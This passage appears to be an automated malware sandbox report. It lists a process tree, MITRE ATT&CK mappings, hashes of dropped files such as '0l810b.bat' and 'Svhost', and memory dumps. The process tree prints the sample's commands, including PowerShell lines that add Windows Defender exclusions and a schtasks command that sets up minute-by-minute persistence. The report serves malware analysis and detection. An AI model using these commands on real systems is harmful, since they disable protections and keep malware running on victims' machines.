$payload2_var (,[string[]] ('')); "
        7⤵
        
        PID:3228
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2584
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1084
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1360
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Svhost'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4184
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Svhost'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5076
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Svhost" /tr "C:\Users\Admin\AppData\Roaming\Svhost"
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4744
        
        C:\Windows\SYSTEM32\CMD.EXE
        
        "CMD.EXE"
        8⤵
        
        PID:3604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3500

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:60

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 267aa84afe3f6ea4d6afa6168f1a918dfe62ba2e8b29704789e2b7ff0e3ce2f8
MD5 9c360589ecf6d472692680f73445f2b0
SHA1 e6f95eaa97f6a3de212dd1d4cad103e5f7708b3d
SHA512 1f3aaf519c9755c639dbec25dca18db36977926c334d4ca7dcf6dd1137655983c2ab030f0459793372a1886c3c886fe5233a74bb27d42d450c947486cd5832c9
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2afeb7db4e46d3c1524512a73448e9cd0121deec761d8aa54fa9fe8b56df7519
MD5 12c844ed8342738dacc6eb0072c43257
SHA1 b7f2f9e3ec4aaf5e2996720f129cd64887ac91d7
SHA512 e3de9103533a69cccc36cd377297ba3ec9bd7a1159e1349d2cc01ab66a88a5a82b4ee3af61fab586a0cdfab915c7408735439fd0462c5c2cc2c787cb0765766a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 314b91c00997034d6e015f40230d90ebbf57de5dc938b62c1a214d591793dbe3
MD5 60945d1a2e48da37d4ce8d9c56b6845a
SHA1 83e80a6acbeb44b68b0da00b139471f428a9d6c1
SHA512 5d068f1d6443e26ae3cad1c80f969e50e5860967b314153c4d3b6efd1cfa39f0907c6427bec7fa43db079f258b6357e4e9a1b0b1a36b1481d2049ea0e67909ed
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 adad192fc86c2f939fd3f70cb9ad323139a4e100f7c90b4454e2c53bdbc9b705
MD5 b1a1d8b05525b7b0c5babfd80488c1f2
SHA1 c85bbd6b7d0143676916c20fd52720499c2bb5c6
SHA512 346c6513c1373bab58439e37d3f75de1c5c587d7eb27076cf696e885a027b3b38d70b585839d1a2e7f2270cdcf0dac8c1fdff799f3b1158242ae9e3364c2a06e
MD5 SHA1 SHA512

Submit Download

0l810b.bat

Path C:\Users\Admin\AppData\Local\Temp\0l810b.bat
Size 315KB
SHA256 153ec0e1858879880beb4823db72dec4c363917e06114e8e07cbfbc5970a17f1
MD5 0b636b5f877f8c0f6fac84038c72f62f
SHA1 e7b2385f36fce6b16e6f6ac7c68b1334eee821c2
SHA512 215aedbba01336a9219abfc46488295e33e4ea3e815312489e8e7fe0d2695c88d0dae7dc13390b5be517f68fed1de86e17a48fef2d8b3295782229e1ea112cc0
SSDEEP 6144:JRcgRXcBCn55oZlwi1huJDkYA+djNrIAxIvKqfg/u5kSNMTrwl:HjXt55obMDxpoIaMIl
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_gwrfrz1s.pt5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gwrfrz1s.pt5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

$phantom-startup_str_374.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_374.vbs
Size 124B
SHA256 62cd6757c6d564e5a17e9d830e670cd9895a7b6d14fa632e7f0055900c7d3bea
MD5 1490248f3e900dca6aee442a3186dc7e
SHA1 7839e0c6a1378489bd2a5a45de946a5dff86dcd5
SHA512 c6f8e7177abf6e7b20c3104ba33afb545f9ab1871708d341f7215bbf9605048a58f90eb44e297169861e063319db4c324a5c3a6418007e333066d8119f91f9a9
MD5 SHA1 SHA512

Submit Download

Svhost

Path C:\Users\Admin\AppData\Roaming\Svhost
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/512-101-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/900-90-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/956-62-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1052-102-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1088-89-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1116-72-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1280-93-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1368-66-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1476-99-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1504-84-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1520-64-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1524-65-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1676-92-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1696-85-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1704-87-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/1920-71-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/2236-88-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/2284-83-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/2448-100-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/2584-221-0x000001ACE7790000-0x000001ACE779A000-memory.dmp

Download

memory/2584-95-0x000001ACE7150000-0x000001ACE716A000-memory.dmp

Download

memory/2584-222-0x000001ACE7860000-0x000001ACE786E000-memory.dmp

Download

memory/2584-219-0x000001ACE6DF0000-0x000001ACE6DFC000-memory.dmp

Download

memory/2692-70-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/2724-68-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/3060-86-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/3272-17-0x0000020E407C0000-0x0000020E40836000-memory.dmp

Download

memory/3272-15-0x00007FFAB0470000-0x00007FFAB0F31000-memory.dmp

Download

memory/3272-82-0x00007FFAB0470000-0x00007FFAB0F31000-memory.dmp

Download

memory/3272-19-0x0000020E40740000-0x0000020E4077C000-memory.dmp

Download

memory/3272-18-0x0000020E40360000-0x0000020E40368000-memory.dmp

Download

memory/3272-3-0x00007FFAB0473000-0x00007FFAB0475000-memory.dmp

Download

memory/3272-16-0x0000020E40380000-0x0000020E403C4000-memory.dmp

Download

memory/3272-13-0x0000020E40300000-0x0000020E40322000-memory.dmp

Download

memory/3272-14-0x00007FFAB0470000-0x00007FFAB0F31000-memory.dmp

Download

memory/3324-67-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/3332-61-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/3332-49-0x0000000003070000-0x000000000309A000-memory.dmp

Download

memory/3500-69-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download

memory/4712-63-0x00007FFA8F030000-0x00007FFA8F040000-memory.dmp

Download